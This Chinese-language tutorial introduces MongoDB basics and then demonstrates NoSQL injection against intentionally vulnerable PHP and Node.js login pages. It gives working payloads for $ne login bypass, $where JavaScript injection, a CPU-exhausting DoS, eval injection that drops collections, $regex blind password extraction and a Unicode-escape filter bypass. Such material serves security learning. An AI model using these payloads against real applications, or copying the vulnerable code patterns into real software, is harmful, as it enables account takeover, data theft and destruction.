花了一晚上的时间仓促的学了一下MongoDB...

0x01.Nosql

NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。在现代的计算系统上每天网络上都会产生庞大的数据量。这些数据有很大一部分是由关系数据库管理系统(RDBMS)来处理。 通过应用实践证明,关系模型是非常适合于客户服务器编程,远远超出预期的利益,今天它是结构化数据存储在网络和商务应用的主导技术。

NoSQL 是一项全新的数据库革命性运动,早期就有人提出,发展至 2009 年趋势越发高涨。NoSQL的拥护者们提倡运用非关系型的数据存储,相对于铺天盖地的关系型数据库运用,这一概念无疑是一种全新的思维的注入。

0x02.MongoDB

MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。

{
    "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
    "name" : "xux",
    "age":19,
    "status":"A"
    "groups":[
        "admins",
        "users"
    ]
}

MongoDB基础概念解析:

SQL概念MongoDB概念说明
databasedatabase数据库
tablecollection数据库表/集合
rowdocument数据记录行/文档
columnfield数据字段/域
indexindex索引
table joins表连接,MongoDB不支持
primary keyprimary key主键,MongoDB自动将_id字段设置位主键

数据库(Database)

MongoDB中可以建立多个数据库,MongoDB的单个实例可以容纳多个独立的数据库,每一个都有自己的集合何权限,不同的数据库也放在不同的文档中
执行show dbs命令可以显示所有数据库的列表

> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB
> 

执行db命令可以显示当前数据库对象或集合

$ ./mongo
>db
test
>

文档(Document)

文档是一组键值(key-value)对,类似于RDBMS关系型数据库中的一行。MongoDB的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大差别,也是MongoDB非常突出的特点

一个简单的文档例子:

{"name":"Xux","age":19}

集合(Collection)

集合就是MongoDB文档组,类似于RDBMS关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据

{"name":"Xux"}
{"name":"Bob","age":19}
{"name":"Alice","age":19,"gropus":["admins","users"]}

当第一个文档被插入时,集合就会被创建

MongoDB基础语法解析

MongoDB创建与删除数据库:

use DATABASE_name

以下示例我们来创建数据库 runoob:

> use runoob
switched to db runoob
> db
runoob
> 

如果数据库不存在,则创建数据库

MongoDB删除数据库的语法格式如下:

db.dropDatabase()

删除当前数据库

MongoDB创建和删除集合

MongoDB中我们使用createCollection()方法来创建集合,其语法如下:

db.createCollection(name,options)
  • name:要创建的集合名称
  • options:可选参数,指定有关内存大小及索引的选项

如下实例,我们在users数据库中创建一个all_users集合

> use users
switched to db users
> db.createCollection("all_users")
{ "ok" : 1 }
>

删除集合

db.collection.drop()

如删除runoob集合:

db.runoob.drop()

MongoDB插入文档

在MongoDB中我们使用insert()方法向集合中插入文档,语法如下:

db.COLLECTION_NAME.insert(document)

如下实例,我们向存储在users数据库的all_users集合中插入一个文档

db.all_users.insert({
    name:"Xux",
    age:19,
    status:"A",
    goups:['admins','users']
})

我们也可以将数据定义为一个变量,如下所示:

>document=({
    name:"Xux",
    age:19,
    status:"A",
    groups:['admins','users']
});
>db.all_users.insert(document)

MongoDB更新文档

在MongoDB中我们可以用update()save()方法来更新集合中的文档

  • update方法
  • update()方法用于更新已存在的文档。语法格式如下: ``` db.collection.update( , , { upsert:, multi:, writeConcern: } ) ``` 参数说明:
    • query:update操作的查询条件,类似sql update语句中where子句后面的内容
    • update:update的对象和一些更新的操作符(如$set)等,可以理解为sql update语句中set关键字后面的内容
    • multi:可选 默认是false,只更新找到的第一条记录,如果这个参数为true,就把按条件查出来的多条数据全部更新
    • writeConcert:可选 抛出异常的级别

    接着我们通过update方法来将年龄从19更新到18:

    > db.all_users.update({"age":19},{$set:{'age':18}})
    WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
    > db.all_users.find().pretty()
    {
            "_id" : ObjectId("6145e51a62eb9a1cf8020f2f"),
            "name" : "Xux",
            "age" : 18,
            "status" : "A",
            "groups" : [
                    "admin",
                    "users"
            ]
    }
    > 
    

    以上语句只会修改第一条发现的文档,如果要修改多条相同的文档,需要设置multi参数为true
    db.all_users.update({"age":19},{$set:{'age':18}},{multi:true})

  • save方法
  • save()方法通过传入的文档来替换已有的文档,_id主键存在就更新,不存在就插入

    db.collection.save(
        <document>
        {
            writeConcern:<document>
        }
    )
    

    以下实例中我们替换了 _id 为 6145e51a62eb9a1cf8020f2f 的文档数据:

    db.all_users.save({"_id":ObjectId("6145e51a62eb9a1cf8020f2f"),name:"Xux","age":19,"status":"A","groups":["admins","users"]})
    

    MongoDB删除文档

    MongoDB remove()函数是用来移除集合中的数据

    remove()方法的基本语法格式如下所示:

    db.collection.remove(
        <query>,
        <justOne>
    )
    

    MongoDB查询文档

    在MongoDB中我们可以使用find()方法来查询文档。find()方法以非结构化的方式来显示所有文档。其语法格式如下

    db.collection.find(query,projection);
    

    参数说明:

    • query:可选,使用查询操作符指定查询条件,相当于sql select语句中的where子句
    • projection:可选,使用投影操作符指定返回的键
    如下实例我们查询了集合all_users中的age为18的数据:
    > db.all_users.find({"age":18})
    { "_id" : ObjectId("6145e51a62eb9a1cf8020f2f"), "name" : "Xux", "age" : 18, "status" : "A", "groups" : [ "admin", "users" ] }
    > 
    

    如果想用简单易懂的方式来读取数据,可以使用pretty()方法以格式化的方式来显示所有文档

    > db.all_users.find({"age":18}).pretty()
    {
            "_id" : ObjectId("6145e51a62eb9a1cf8020f2f"),
            "name" : "Xux",
            "age" : 18,
            "status" : "A",
            "groups" : [
                    "admin",
                    "users"
            ]
    }
    > 
    

    MongoDB条件操作符

    条件操作符用于比较两个表达式并从mongoDB集合中获取数据。

    • (>)大于-$gt
    • (<)小于-$lt
    • (>=)大于等于-$gte
    • (<=)小于等于-$lte

    如下操作查询age>17的人:

    > db.all_users.find({'age':{$gt:17}})
    { "_id" : ObjectId("6145e51a62eb9a1cf8020f2f"), "name" : "Xux", "age" : 18, "status" : "A", "groups" : [ "admin", "users" ] }
    > db.all_users.find({'age':{$gt:17}}).pretty()
    {
            "_id" : ObjectId("6145e51a62eb9a1cf8020f2f"),
            "name" : "Xux",
            "age" : 18,
            "status" : "A",
            "groups" : [
                    "admin",
                    "users"
            ]
    }
    > 
    

    MongoDB AND条件

    MongoDB 的 find() 方法可以传入多个键(key),每个键(key)以逗号隔开,即常规 SQL 的 AND 条件
    语法格式如下:

    >db.collections.find({key1:value1, key2:value2}).pretty()
    

    MongoDB OR条件

    MongoDB OR条件语句使用了关键词$or,语法格式如下:

    db.collections.find({$or:[{key1: value1}, {key2:value2}]})
    

    AND和OR联合使用

    以下实例演示了 AND 和 OR 联合使用

    db.col.find({"key1": {$gt:value1}, $or: [{"key2": "value2"},{"key3": "value3"}]}).pretty()
    

    NoSQL注入的分类

    有两种NoSQL注入分类的方式:

    第一种是按照语言的分类,可以分为PHP数组注入,JavaScript注入和Mongo shell拼接注入

    第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript注入和盲注等,这种分类方式很像传统

    • 重言式注入
    • 又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制
    • 联合查询注入
    • 联合查询是一种总众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常见的用法是绕过认证页面获取数据
    • JavaScript注入
    • MongoDB Server支持JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的JavaScript代码,导致非法的数据获取或纂改
    • 盲注
    • 当页面没回显时,那么我们可以通过$regex正则表达式来达到和传统SQL注入中substr()函数相同的功能,而且NoSQL用到的基本上都是布尔盲注

      下面我们便通过PHP和Nodejs来讲解MongoDB注入的利用方式

      首先要安装MongoDB PHP拓展(具体可参考菜鸟教程)

    0x02.重言式注入

    首先在MongoDB中选中test数据库,创建一个users集合并插入文档数据

    > use test
    switched to db test
    > db.createCollection('users')
    { "ok" : 1 }
    >
    > db.users.insert({username:'admin',password:'123456'})
    WriteResult({ "nInserted" : 1 })
    > db.users.insert({username:'Xux',password:'xuxxuxxux'})
    WriteResult({ "nInserted" : 1 })
    > db.users.insert({username:'bunny',password:'bunny123'})
    WriteResult({ "nInserted" : 1 })
    > db.users.insert({username:'bob',password:'1145141919810'})
    WriteResult({ "nInserted" : 1 })
    >
    

    然后编写index.php

    <?php
    $manager=new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
    $username = $_GET['username'];
    $password = $_GET['password'];
    
    $query=new MongoDB\Driver\Query(array(
        "username" => $username,
        "password" => $password
    ));
    
    $result = $manager->executeQuery('test.users',$query);
    $count=count($result);
    if($count > 0)
    {
        foreach($result as $user)
        {  
            $user = ((array)$user);
            echo '====Login Successful====</br>';
            echo 'username:'.$user['username'].'</br>';
            echo 'passowrd:'.$user['password'].'</br>';
        }
    }
    else{
        echo "Login Field!";
    }
    

    正常查询结果如下:
    1.png

    进入PHP后的程序数据如下:

    array(
       "username"=>"xux",
       "password"=>"xux"
    )
    

    此时MongoDB相当于执行了如下语句:

    db.users.find({"usernmae":"xux","password":"xux"})
    

    我们从代码中可以看出,这里对用户输入没有做任何过滤与校验,那么我们可以通过$ne(不等于)关键字构造一个永真的条件就可以完成NoSQL注入

    ?username[$ne]=1&password[$ne]=1
    

    2.png

    提交的数据进入PHP后的数据如下:

    array(
        'username' => aray($ne => 1),
        'password' => array($ne => 1)
    )
    

    进入MongoDB后执行的查询语句如下:

    db.users.find({'username',{$ne:1}},'password',{$ne:1})
    

    由于users集合中username和password都不等于1,所以将所有的文档数据查出

    对于 PHP 本身的特性而言,由于其松散的数组特性,导致如果我们发送value=1那么,也就是发送了一个value的值为1的数据。如果发送value[$ne]=1则PHP会将其转换为数组value=array($ne=>1),当数据到了进入 MongoDB 后,原来一个单一的 {"value":1} 查询就变成了一个 {"value":{$ne:1}} 条件查询。同样的,我们也可以使用下面这些作为 payload 进行攻击:

    username[$ne]=&password[$ne]=
    username[$gt]=&password[$gt]=
    username[$gte]=&password[$gte]=
    

    这种重言式注入的方式也是我们通常用来验证网站是否存在 NoSQL 注入的第一步。

    0x03.联合查询注入

    在MongoDB之类的流行数据存储中,Json查询结构使得联合查询注入攻击变得复杂了,但也是可以实现的
    我们都知道,直接对SQL查询语句进行字符串拼接很容易造成SQL注入,NoSQL也有类似问题。如下实例,假设后端的MongoDB查询语句使用了字符串拼接:

    string query="{ username: '" + $username +"',password: '" + $password + "'}
    

    当用户输入正确的用户密码进行登录时,得到的查询语句应该是这样的:

    {'username':'admin','password':'123456'}
    

    如果此时没有很好地对用户的输入进行过滤或者校验,那攻击者便可以构造以下payload:

    username=admin',$or:[{},{'a':'a&password=' }],$comment:'123456
    

    拼接入查询语句后相当于执行了

    {'username':'admin',$or:[{},{'a':'a',password:''}],$comment:'123456'}
    

    此时,只要用户名是正确的,这个查询语句就能成功。这种手法和SQL注入手法类似:

    select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))
    

    这样,原本正常的查询语句会被转换为忽略密码的,在无需密码的情况下直接登录用户账号,因为 () 内的条件总是永真的。

    但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query 对象了,因此这用注入方法简单了解一下就好了。

    0x04.JavaScript注入

    MongoDB Server是支持JavaScript的,可以使用JavaScript进行一些复杂事务和查询,也允许在查询的时候执行JavaScript代码,将JavaScript表达式的字符串或JavaScript函数作为查询语句的一部分。在MongoDB2.4之前,通过$where操作符用map-reduce,group命令甚至可以访问到Mongo Shell中的全局函数和属性,如db,也就是说可以在自定义的函数里获取数据库的所有信息
    如下实例:

    > db.users.find({$where:"function(){return(this.username=='admin')}"})
    { "_id" : ObjectId("61472f09414ae8bf27d7ddea"), "username" : "admin", "password" : "123456" }
    >
    

    由于使用了$where关键字,其后面的JavaScript将会被执行并返回'admin',然后将查询出username为admin的数据

    某些易受攻击的PHP应用程序在构建MongoDB查询时可能会直接插入未经过处理的用户输入,例如从变量$userData获取查询条件:

    db.users.find({$where:"function(){return(this.username=$userData)}"})
    

    然后,攻击者可能会注入一种恶意的字符如'a',sleep(3000),此时MongoDB执行的查询语句为

    db.users.find({ $where: "function(){return(this.username == 'a'; sleep(3000))}" })
    

    如果此时服务器有3秒的延迟则说明注入成功
    下面我们编写index.php进行测试

    <?php
    $manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
    $username = $_POST['username'];
    $password = $_POST['password'];
    $function = "
    function() { 
    	var username = '".$username."';
    	var password = '".$password."';
    	if(username == 'admin' && password == '123456'){
    		return true;
    	}else{
    		return false;
    	}
    }";
    $query = new MongoDB\Driver\Query(array(
        '$where' => $function
    ));
    $result = $manager->executeQuery('test.users', $query)->toArray();
    $count = count($result);
    if ($count>0) {
        foreach ($result as $user) {
            $user=(array)$user;
            echo '====Login Success====<br>';
            echo 'username: '.$user['username']."<br>";
            echo 'password: '.$user['password']."<br>";
        }
    }
    else{
        echo 'Login Failed';
    }
    ?>
    

    MongoDB2.4 之前

    在MongoDB2.4之前,通过$where操作符使用map_reduce(),group命令可以访问到Mongo Shell中的全局函数和属性,如db,也就是说可以通过JavaScript函数来获取数据库的所有信息
    如下所示:发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:

    username=1&password=1';(function(){return(tojson(db.getCollection()))})var a='1
    

    MongoDB2.4 之后

    MongoDB2.4之后,db属性访问不到了,但我们仍然可以构造万能密码。如果我们此时发送以下几种数据

    username=1&password=1;return true//
    或
    usernmae=1&password=1';return true;var a='1
    

    即能显示出所有数据
    这是因为发送payload进入php后的数据如下:

    array(
        '$where' => "
        function() { 
    		var username = '1';
    		var password = '1';return true;var a='1';
    		if(username == 'admin' && password == '123456'){
    			return true;
    		}else{
    			return false;
    		}
    	}
    ")
    

    进入MongoDB后执行的查询命令为

    db.users.find({$where:"function(){var username = '1';var password = '1';return true;var a='1';if(username == 'admin' && password == '123456'){ return true; }else{ return false; }}"})
    

    此外还有一个类似DOS攻击的payload,可以让服务器CPU飙升到100%持续5秒

    username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1
    

    使用Command方法造成的注入

    MongoDB Driver 一般都提供直接执行 Shell 命令的方法,这些方式一般是不推荐使用的,但难免有人为了实现一些复杂的查询去使用。在 MongoDB 的服务器端可以通过db.eval方法来执行 JavaScript 脚本,如我们可以定义一个 JavaScript 函数,然后通过db.eval在服务器端来运行。

    但是在 PHP 官网中就已经友情提醒了不要这样使用:

    <?php
    $m = new MongoDB\Driver\Manager;
    
    // Don't do this!!!
    $username = $_GET['field'];
    // $username is set to "'); db.users.drop(); print('"
    
    $cmd = new \MongoDB\Driver\Command( [
    'eval' => "print('Hello, $username!');"
    ] );
    
    $r = $m->executeCommand( 'dramio', $cmd );
    ?>
    

    还有人喜欢用Command去实现MongoDBdistinct方法,如下:

    <?php
    $manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
    $username = $_POST['username'];
    
    $cmd = new MongoDB\Driver\Command( [
        'eval' => "db.users.distinct('username',{'username':'$username'})"
    ] );
    
    $result = $manager->executeCommand('test.users', $cmd)->toArray();
    $count = count($result);
    if ($count > 0) {
        foreach ($result as $user) {
            $user = ((array)$user);
            echo '====Login Success====<br>';
            echo 'username:' . $user['username'] . '<br>';
            echo 'password:' . $user['password'] . '<br>';
        }
    }
    else{
        echo 'Login Failed';
    }
    ?>
    

    这样都是很危险的,因为这个就相当于把 Mongo Shell 开放给了用户,如果此时构造下列 payload:

    username=1'});db.users.drop();db.user.find({'username':'1
    username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1
    

    则将改变原本的查询语句造成注入。如果当前应用连接数据库的权限恰好很高,我们能干的事情就更多了。

    布尔盲注

    当页面中没有回显时,那么我们可以通过$regex正则表达式来进行盲注,$regex可以达到和传统SQL注入substr()函数相同的功能
    我们还是用第一个index.php进行演示

    <?php
    $manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
    $username = $_POST['username'];
    $password = $_POST['password'];
    
    $query = new MongoDB\Driver\Query(array(
        'username' => $username,
        'password' => $password
    ));
    
    $result = $manager->executeQuery('test.users', $query)->toArray();
    $count = count($result);
    if ($count > 0) {
        foreach ($result as $user) {
            $user = ((array)$user);
            echo '====Login Success====<br>';
            echo 'username:' . $user['username'] . '<br>';
            echo 'password:' . $user['password'] . '<br>';
        }
    }
    else{
        echo 'Login Failed';
    }
    ?>
    

    布尔盲注重点在于怎么逐个提取字符,在一个已知用户名的情况下判断密码的长度:

    username=admin&password[$regex]=.{4}    // 登录成功
    username=admin&password[$regex]=.{5}    // 登录成功
    username=admin&password[$regex]=.{6}    // 登录成功
    username=admin&password[$regex]=.{7}    // 登录失败
    ......
    

    password[$regex]=.{6} 时可以成功登录,但在password[$regex]=.{7}时登录失败,说明该 admin 用户的密码长度为 6。

    提交的数据进入PHP后的数据如下:

    array(
        "username" => 'admin',
        "password" => array('$regex'=>'.{6}')
    )
    

    进入MongoDB后执行的查询命令为

    db.users.find({'username':'admin', 'password':{$regex:'.{6}'}})
    

    由于 admin 用户的 password 长度为 6,所以查询条件{'username':'admin', 'password':{$regex:'.{6}'}}为真,便能成功登录,而 {'username':'admin', 'password':{$regex:'.{7}'}} 为假,自然也就登录不了。
    知道password的长度后我们便可以逐位提取password的字符了

    username=admin&password[$regex]=1.{5}
    username=admin&password[$regex]=12.{4}
    username=admin&password[$regex]=123.{3}
    username=admin&password[$regex]=1234.{2}
    username=admin&password[$regex]=12345.*
    username=admin&password[$regex]=123456
    或
    username=admin&password[$regex]=^1
    username=admin&password[$regex]=^12
    username=admin&password[$regex]=^123
    username=admin&password[$regex]=^1234
    username=admin&password[$regex]=^12345
    username=admin&password[$regex]=^123456
    

    Node.js中的MongoDB注入

    在 Nodejs 中也存在 MongoDB 注入的问题,其中主要是重言式注入,通过构造永真式构造万能密码实现登录绕过。下面我们使用 Nodejs 中的 mongoose 模块操作 MongoDB 进行演示。
    server.js

    var express = require('express');
    var mongoose = require('mongoose');
    var jade = require('jade');
    var bodyParser = require('body-parser');
    
    mongoose.connect('mongodb://localhost/test', { useNewUrlParser: true });
    var UserSchema = new mongoose.Schema({
        name: String,
        username: String,
        password: String
    });
    var User = mongoose.model('users', UserSchema);
    var app = express();
    
    app.set('views', __dirname);
    app.set('view engine', 'jade');
    
    app.get('/', function(req, res) {
        res.render ("index.jade",{
            message: 'Please Login'
        });
    });
    
    app.use(bodyParser.json());
    
    app.post('/', function(req, res) {
        console.log(req.body)
        User.findOne({username: req.body.username, password: req.body.password}, function (err, user) {
            console.log(user)
            if (err) {
                return res.render('index.jade', {message: err.message});
            }
            if (!user) {
                return res.render('index.jade', {message: 'Login Failed'});
            }
            
            return res.render('index.jade', {message: 'Welcome back ' + user.name + '!'});
        });
    });
    
    var server = app.listen(8000, '0.0.0.0', function () {
    
        var host = server.address().address
        var port = server.address().port
    
        console.log("listening on http://%s:%s", host, port)
    });
    

    由于后端解析 JSON,所以我们发送 JSON 格式的 payload:
    {"username":{"$ne":1},"password": {"$ne":1}}
    在处理 MongoDB 查询时,经常会使用 JSON格式将用户提交的数据发送到服务端,如果目标过滤了 $ne 等关键字,我们可以使用 Unicode 编码绕过,因为 JSON 可以直接解析 Unicode。如下所示:

    {"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
    // {"username":{"$ne":1},"password": {"$ne":1}}